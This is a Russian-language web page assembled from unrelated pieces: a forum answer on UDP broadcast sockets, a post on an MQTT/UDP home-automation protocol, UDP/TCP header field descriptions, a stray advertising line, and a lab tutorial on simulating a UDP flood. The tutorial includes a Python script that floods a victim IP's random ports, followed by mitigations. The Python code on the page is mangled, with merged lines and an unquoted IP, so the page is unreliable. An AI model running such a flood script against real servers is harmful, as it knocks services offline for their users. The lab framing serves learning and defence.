UDP сокет для прослушивания broadcast
Нужно создать UDP сокет для прослушивания broadcast, который идет от железки.
При создании сокета в sockaddr_in нужно указывать порт железа (он известен), а ip адрес тоже железа должен быть?
Первый раз работаю с такой темой и путаюсь где чья информация должна быть указана.
Спасибо за помощь.
Лучшие ответы ( 1 )
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
Ответы с готовыми решениями:
Как только происходит попытка создать сокет для UDP — сокет TCP сразу ломается (выдает 10093).
Добрый день. Пытаюсь сделать соединение, использующее два канала обмена данными — TCP для.
UDP Broadcast
Здравствуйте, написал программу которая с помощью UDP считает количество своих копий на локальной.
Broadcast UDP chat
Здравствуйте. Нужно реализовать чат на UDP с использованием широковещательных запросов (простейшее.
UDP Broadcast Network is unreachable
Пытаюсь отправить широковещательный пакет, но все время выдает Network is unreachable Сначала.
2378 / 835 / 318
Регистрация: 10.02.2018
Сообщений: 1,969
Сообщение было отмечено Horwood как решение
Решение
Сообщение от Horwood
При создании сокета в sockaddr_in нужно указывать порт железа (он известен), а ip адрес тоже железа должен быть?
В функции bind для UDP указываются локальные IP-адрес и порт. Локальные параметры — это параметры устройства, на котором запускается ваша программа.
У устройства может быть несколько IP-адресов. Грубо говоря, несколько сетевых карт и у каждой карты свой IP. Сокет может быть связан с одним локальным IP-адресом (сетевым интерфейсом) или сразу со всеми (INADRANY). Если сокет связан с одним сетевым интерфейсом, то общаться по сети он может только в рамках этого интерфейса. Если сокет связан сразу со всеми сетевыми интерфейсами, то общаться по сети он может в рамках любого доступного ему интерфейса. Укажите общую привязку, это более универсально.
Сокет должен быть связан с локальным портом. Отправляя кому-то что-то через сокет данные будут уходить от имени привязанного порта. Данные приходящие на устройство адресуются определенному порту, по порту определяется связанный с ним сокет и, в конечном счёте, программа принимающая эти данные.
Бродкастное сообщение рассылается на какой-то конкретный порт всех работающих в сети устройств. Принимающая такое сообщение программа должна создать сокет связанный с портом рассылки. Порт, с которого идёт рассылка бродкастного сообщения, может отличаться от порта рассылки — это разные порты.
С новым годом, с новым MQTT/UDP
Как я уже писал недавно (Первая краткая статья о MQTT/UDP), MQTT/UDP — протокол на базе MQTT, но:
- Ходит поверх UDP broadcast (не нужен брокер, почти не нужна конфигурация)
- До неприличия простой в реализации (10 строк на си + UDP/IP стек — и вы отправляете данные с сенсора)
- Все слышат всех
Зачем.
Моя квартира реально несколько лет живёт под управлением системы типа «дом не совсем олигофрен». Умом это назвать было бы избыточно, но — свет и климат автоматизированы. Чтобы представить себе масштаб бедствия — система занимает полную битком набитую стойку о 19 дюймах ширины и двух метрах высоты. Две стенки стойки заняты почти до пола.
Когда я всё это проектировал, вопрос отказоустойчивости стоял на первом месте. Несколько лет эксплуатации показали: оно и верно. Отказывает всё. Рано или поздно. Вот только электромеханические реле ещё пока не отказывали, а именно на них последний эшелон защиты от отказа.
Следующая после отказоустойчивости проблема — зоопарк. В силу естественного течения жизни, моего любопытства и насущных потребностей, в системе живут обычный Юникс на обычном PC, ПЛК Овен, Raspberr+Orange PI, модули на Atmega, модули на базе NodeMCU (ESP8266), и всё это ходит друг к другу через modbus 485, modbus TCP, http, и сбоку висит неприкаянный MQTT брокер, как наследие неудачной попытки перейти на него всем табором.
Почему попытка перейти на MQTT неудачна. Во-первых, для части железа он тяжеловат или сложноват. На том обломке Паскаля, который прячется в CodeSys ПЛК написать MQTT может только мазохист. А ведь потом надо и отладить. Аналогично на atmega: запихать можно, но тесно. Но и это не вся беда.
MQTT как он есть (а заимплеменчен везде 3.1.1) настаивает на том, чтобы посылать PUBLISH пакет (то есть наше сообщение в сторону брокера) всем получателям, в том числе и отправителю. Эффект от этого маразма фееричен — тот же OpenHAB не может отправлять и получать данные в MQTT под одним и тем же именем. Это означает, что организовать на базе MQTT шину (несколько модулей, которые обновляют значение одного и того же объекта и пользуются им же) нельзя. А именно так должна быть организована связь ПЛК, в котором живёт основное управление светом, ОпенХАБа, который управляет светом с веб-интерфейса и мобильного приложения, и смарт-выключателей, которые я хотел бы иметь возможность добавлять там и тут. То есть, конечно, и эту проблему можно обойти, но фактически это означает построить свой протокол ПОВЕРХ MQTT, а это уже кажется перебором.
В то же время, что мне нужно? Отправить апдейт значения параметра и получить его на всех заинтересованных точках. Для чего, собственно, деды и сделали UDP на бродкастный адрес.
После прошлого поста на Хабре один из читателей долго упрекал меня ненадёжностью протокола UDP. Я же умозрительно отвечал ему, что для IoT оный UDP БОЛЕЕ надёжен, чем TCP: при 50% потерь пакетов в сети TCP не просто ляжет, а ляжет ВООБЩЕ, а температурный датчик, посылающий измерения по UDP, просто потеряет половину отсчётов, что скажется на работе системы примерно никак. Вообще.
Но это было умозрительно. Однако, новогодние каникулы и даны человеку для того, чтобы допив шампанское спросить себя: а положим сегодня домашнюю локалку на лопатки? А что бы и нет.
Я взял MQTT/UDP и написал примитивный тест. Одна сторона шлёт последовательные пакеты без паузы между пакетами, сколько может. Вторая считает скорость и потери пакетов. Эксперимент был прост: запускаем это издевательство, а параллельно два HD телевизора показывают кино из интернета, а настольный комп пишет на NAS огромный файл.
Оцените итог. Я ждал всего, но… максимум потерь на UDP достиг целого полупроцента, а оба телевизора остановили показ. Так что я ещё был пессимистом. В реальной домашней сети надёжность доставки UDP близка к абсолюту. Тем не менее, версию с подтверждениями и перепосылками пакетов я, видимо, сделаю. Сложности немного, а вопрос снимает совсем.
Второй вопрос — секьюрити, но, право, если мне взломают домашнюю сеть, потеря данных с датчиков температуры — последнее, о чём я буду горевать. Впрочем, опять же, задача цифровой подписи пакетов в issue tracker’е присутствует, и я уже понимаю, как расширить MQTT-шные пакеты под её реализацию.
В общем, я планирую по первой паре устройств в домашней сети перейти на MQTT/UDP буквально на днях.
И вам предлагаю его попробовать в своих программах и устройствах: Репозиторий и документация на английском.
Что есть в наличии:
Довольно полные реализации на Яве, Питоне и Си. Базовая реализация на Lua. Пока только отправка для Arduino и CodeSys ПЛК (тестировалось и работает на Овене, но должно пойти на чём угодно).
GUI инструмент для того, чтобы глядеть на происходящее и вмешиваться:
Программы для отправки и приёма данных на Питоне, Луа и Яве.
Коннекторы на Питоне для интеграции с обычным MQTT и напрямую с OpenHAB. Они отрабатывают защиту от циклов, запрещая обратную трансляцию сообщения в течение 5 сек после прохода в прямом направлении. Кроме того есть библиотека для ограничения потока повторных данных. Она проверяет, был ли уже апдейт данного топика в течение указанного времени, и если был, то пропускает новый апдейт только если данные изменились.
Я планирую постепенно переехать на этот протокол полностью, и вот один из примеров того, что я хочу получить с датчиками:
Здесь три датчика в одной комнате (ну, или на улице, не принципиально). Они отправляют отсчёты через MQTT/UDP. Получают эти отсчёты одновременно основная система умного дома (OpenHAB), база исторических данных и настенный монитор, который показывает температуру жителям.
Вся прелесть MQTT/UDP в том, что в такой схеме отказ любого блока не создаёт никаких проблем всем остальным. И это при феерической простоте протокола.
Более того, в этой же схеме легко реализуются и избыточные схемы управления с дублированием. Сервер БД можно сдублировать вообще без проблем. Хитрее будет сдублировать модули, которые занимаются управлением. Например, слушая температуру выдают управляющее воздействие на батареи отопления. Но, наверное, это уже следующая история. На сегодня я планирую остановиться на сборе сигналов с датчиков и обмене между модулями умного дома.
- Python
- Programming microcontrollers
- Development for IOT
- Smart House
Как послать бродкастный пакет udp
Нужны новые клиенты? Тогда Вам рекомендуем посмотреть этот раздел нашего сайта
_____
Заголовок UDP всегда имеет длину 64 бита. Поля, определённые в сегменте UDP (см. рисунок) включают следующие:
1. Порт отправителя (Source port): номер порта источника(16 бит)
2. Порт получателя (Destination port): номер порта назначения (16 бит)
3. Длина сообщения (Length): длина заголовка UDP и данных UDP (16 бит)
4. Контрольная сумма (Checksum): вычисленная контрольная сумма полей заголовка и данных (16 бит)
5. Данные (Data): данные протокола вышележащего уровня (upper-layer protocol – ULP) (переменная длина)
Примеры протоколов, которые используют UDP: TFTP, SNMP, Network File System (NFS) и Domain Name System (DNS).
Заголовок TCP содержит информацию, которая определена TCP протоколом. В данном разделе описаны компоненты заголовка TCP.
Сегменты TCP передаются с помощью использования пакетов IP. Заголовок TCP следует за заголовком IP,. Это разделение допускает существование других протоколов на уровне хоста, отличных от TCP. Поля TCP заголовка включают следующие:
Порт отправителя (Source port): номер порта источника (16 бит)
Порт получателя (Destination port): номер порта назначения (16 бит)
Порядковый номер (Sequence number): порядковый номер первого октета данных
сегмента, используемый для гарантии правильного упорядочения приходящих данных
(32 бита)
Номер подтверждения (Acknowledgment number): следующий ожидаемый октет
TCP (32 бита)
Длина заголовка (Header length): количество 32-битных слов в заголовке (4 бита)
Зарезервировано (Reserved): установлено в 0 (3 бита)
Управляющие биты (Control bits): функции управления – такие как установка,
перегрузка и разрыв сеанса (9 бит). Одиночный бит, который имеет специальное
значение, часто рассматриваемое как флаг.
Окно (Window): число октетов, которое устройство согласно принять (16 бит)
Контрольная сумма (Checksum): вычисленная контрольная сумма полей заголовка и
данных (16 бит)
Указатель срочности данных (Urgent): показывает конец срочных данных (16 бит)
Опции (Options): в настоящее время определена одна опция – максимальный размер
сегмента TCP (0 или 32 бита)
Данные (Data): данные протокола вышележащего уровня (upper-layer protocol – ULP)
(переменная длина)
Как сымитировать UDP-флуд у себя на компьютере
UDP-флуд — это атака типа “отказ в обслуживании” (Denial of service, DoS), при которой злоумышленник отправляет большое количество пакетов UDP (User Datagram Protocol) на сервер-жертву, чтобы подавить способность сервера обрабатывать входящий трафик и реагировать на него.
Злоумышленник отправляет пакеты на IP-адрес сервера, выбирая для этого случайные порты назначения. Когда сервер получает пакет, то он:
- проверяет, слушает ли приложение указанный порт;
- видит, что ни одно приложение этого не делает. Так происходит в большинстве случаев, поскольку порты назначения являются случайными;
- отвечает пакетом ICMP Destination Unreachable.
IP-адрес злоумышленника может быть подделан, чтобы предотвратить как его идентификацию, так и насыщение его собственных ресурсов ответами ICMP.
Предустановки
Для того чтобы смоделировать такую атаку, вам понадобятся две виртуальные машины. Сетевые карты должны быть сконфигурированы так, чтобы у них были свои собственные адреса в подсети. Я использовал VirtualBox с двумя экземплярами BunsenLabs, которые весят очень мало. Они сконфигурированы через сетевую карту в режиме моста. Ниже приведены требования к каждой из виртуальных машин:
- злоумышленник с python3;
- жертва с python версии 3.7 или выше.
Конфигурация сервера
Мы запустим простой HTTP-сервер, чтобы проверить, что производительность падает, когда сервер находится под атакой. Ниже приведен сервер, написанный на Python.
import sys
import time
import random
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandlerclass DefaultHTTPHandler(BaseHTTPRequestHandler): def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.send_header("Cache-Control", "no-cache")
self.end_headers() n = random.randint(1e7,1e8)
self.wfile.write((("<> is " + ("" if is_prime(n) else "not ") + "a prime number").format(n)).encode("utf-8"))def base_http_server_start(address="0.0.0.0", port=80):
handler = DefaultHTTPHandler
address = (address, port)
server = ThreadingHTTPServer(address, handler,
bind_and_activate=False)
server.server_bind()
server.server_activate()
server.serve_forever()def is_prime(num):
res = True
for i in range(2, num - 1):
if num % i == 0:
res = False
return resif __name__ == '__main__':
print("Starting HTTP server on port 80")
base_http_server_start()
С этим сервером можно связаться по адресу localhost:80. Он делает вот что: выбирает очень большое случайное число и проверяет, является ли это число простым, используя намеренно очень неэффективную функцию. Благодаря этому механизму можно примерно оценить время отклика сервера, перезагрузив страницу браузера. Время отклика зависит от вычислительной мощности вашего оборудования, но в среднем оно должно составлять около 5–10 секунд.
Скрипт атаки
Мы можем выполнить атаку с помощью следующего скрипта Python, используя сокеты:
import time
import socket
import random
import sysvictim_ip = 192.168.1.10
duration = 60 # в секундахsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)msg = bytes(random.getrandbits(10))
timeout = time.time() + duration
sent_packets = 0while time.time() < timeout:
victim_port = random.randint(1025, 65356)
sock.sendto(msg, (victim_ip, victim_port))
sent_packets += 1
В этом скрипте можно указать IP-адрес жертвы и продолжительность атаки. Каждый раз, отправляя пакет, мы выбираем другой порт, как это описано выше.
Атака
Для выполнения атаки мы запускаем сервер и проверяем его работоспособность с помощью описанного выше метода. Затем с виртуальной машины злоумышленника мы запускаем сценарий, который проводит атаку. Когда машина находится под атакой, мы можем видеть увеличение нагрузки на ЦП, так как он занят обработкой входящего трафика и отправкой ответных пакетов ICMP Destination Unreachable.
Затем мы можем перезагрузить страницу браузера и подсчитать время отклика сервера. Таким образом легко будет заметить, что производительность сервера значительно ухудшилась. Время отклика должно быть как минимум вдвое больше, чем в обычно.
Противодействие
Настройки Linux
Смягчить последствия UDP-флуда довольно сложно. Можно изменить количество пакетов ICMP, которые операционная система отправляет каждую секунду. Например, в Linux мы можем использовать эти две команды:
sudo sysctl -w net.ipv4.icmp_ratelimit=0
sudo sysctl -w net.ipv4.icmp_msgs_per_sec=1000
Первая команда делает так, что скорость отправки ответов ICMP регулируется теперь только параметром второй команды. Следовательно в этом конкретном случае при помощи второй команды мы устанавливаем скорость 1000 сообщений ICMP в секунду.
Мы можем легко проверить это, запустив атаку на 10 секунд и используя Wireshark на виртуальной машине сервера для перехвата пакетов ICMP, отправленных в ответ. Можно увидеть, что за 10 секунд отправляется около 10000 пакетов ICMP, что правильно, так как мы установили скорость до 1000 пакетов в секунду.
Мы можем попробовать изменить этот параметр и проверить с помощью Wireshark, как меняется количество пакетов, отправленных в течение 10 секунд. Например, указывая скорость 1 пакет в секунду, мы можем захватить около 10 пакетов.
sudo sysctl -w net.ipv4.icmp_msgs_per_sec=1
Самое сложное здесь — выбор подходящего значения для этих параметров. Оптимальное значение зависит от имеющегося оборудования, от особенностей нашего приложения, от среднего трафика, с которым работает наш сервер. Если мы уменьшаем количество ответов, отправляемых каждую секунду, мы, очевидно, уменьшаем нагрузку на сервер, так как многие другие входящие запросы просто отбрасываются — пакет ICMP в ответ не отправляется, и следовательно используется меньше ресурсов.
Однако, уменьшая данный параметр, мы еще сильнее рискуем тем, что будем отклонять даже допустимые запросы, упуская обработку и управление трафиком, который исходит не от злоумышленника, а от реальных пользователей нашего сервера. Поэтому необходимо находить компромиссный вариант, при котором эти аспекты окажутся сбалансированы.
Брандмауэры
Мы также можем попытаться защититься от этой атаки с помощью брандмауэров. Брандмауэр может блокировать UDP-пакеты до того, как они достигнут сервера. Таким образом, ресурсы сервера не используются вообще. Однако брандмауэры также уязвимы для такого типа атак: они должны обрабатывать входящий трафик и могут стать “узким местом” во время атаки. Кроме того, если мы используем брандмауэр с отслеживанием состояния, то можем легко блокировать атаку, если она всегда исходит с одного и того же IP-адреса. Но если злоумышленник подделывает свой IP-адрес, то все таблицы состояний брандмауэра потенциально могут быть заполнены и вся доступная память окажется израсходована. Таким образом, брандмауэры не всегда способны решить проблему.
Заключение
Описанный тип атаки несложно смоделировать в несколько шагов, чтобы лучше понять принцип, по которому она осуществляется. Вы также можете подробнее изучить, как смягчать ее последствия, пробуя различные параметры для настройки сервера. Эта атака также интересна тем, что она проста, но очень эффективна: как мы уже убедились, против нее трудно принять действенные контрмеры.
- 9 мифов об интерфейсах для людей с ограниченными возможностями
- От HTTP до HTTP 3 — интернета будущего
- Микрофронтенды — а почему бы и нет?